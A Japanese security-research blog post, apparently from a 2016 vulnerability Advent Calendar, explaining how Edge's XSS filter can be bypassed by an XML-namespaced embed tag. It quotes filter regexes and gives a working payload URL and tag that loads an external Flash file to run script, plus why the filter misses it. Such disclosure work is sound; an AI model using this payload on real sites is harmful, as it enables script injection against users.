毎度おなじみ、XSSフィルターをバイパスするコーナーです。今回は、Edgeでバイパスします。
Edgeでは、少し前からXMLページでのXSSを遮断するためか、XML namespaceを持ったタグも遮断するようになっています。正規表現をみると、以下のように、遮断されるタグの前にルールが追加されているのがわかります。
{<([^ \t]+?:)?a.*?hr{e}f}このルールが追加されてから、皮肉にも、逆に新たなバイパスが生まれてしまいました。こちらです。
{<([^ \t]+?:)?OPTION[ /+\t].*?va{l}ue[ /+\t]*=}
{<([^ \t]+?:)?TEXTA{R}EA[ /+\t>]}
{<([^ \t]+?:)?BUTTON[ /+\t].*?va{l}ue[ /+\t]*=}
[...]
https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E
<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>
Edgeで開くと、外部のFlashがロードされ、スクリプトが実行されるはずです。
ところで、F12でコンソールを見ると、XSSフィルターはXSSを遮断したというメッセージが出ています。
それでも、Flashをロードしてしまっているのはなぜでしょうか?
おそらく、XSSフィルターはこのタグをscriptタグとみなしてしまっています。
script src=
の遮断は、scriptのロードを止めるように設計されており、ページの書換えを行いません。しかし実際にはembedタグなので、scriptのロードの停止は空振りに終わり、embed src=
が動作してしまうという寸法です。なお、遮断自体は行ったことになるため、
X-XSS-Protection:1;mode=block
のページではバイパスに失敗します。ちなみに、IEのXSSフィルターにはこのルールが入っていないため、このバイパスは使えません。以上、ご活用ください!
脆弱性"&'<<>\ Advent Calendar 2016 、明日は @kusano_k さんです!
0 件のコメント:
コメントを投稿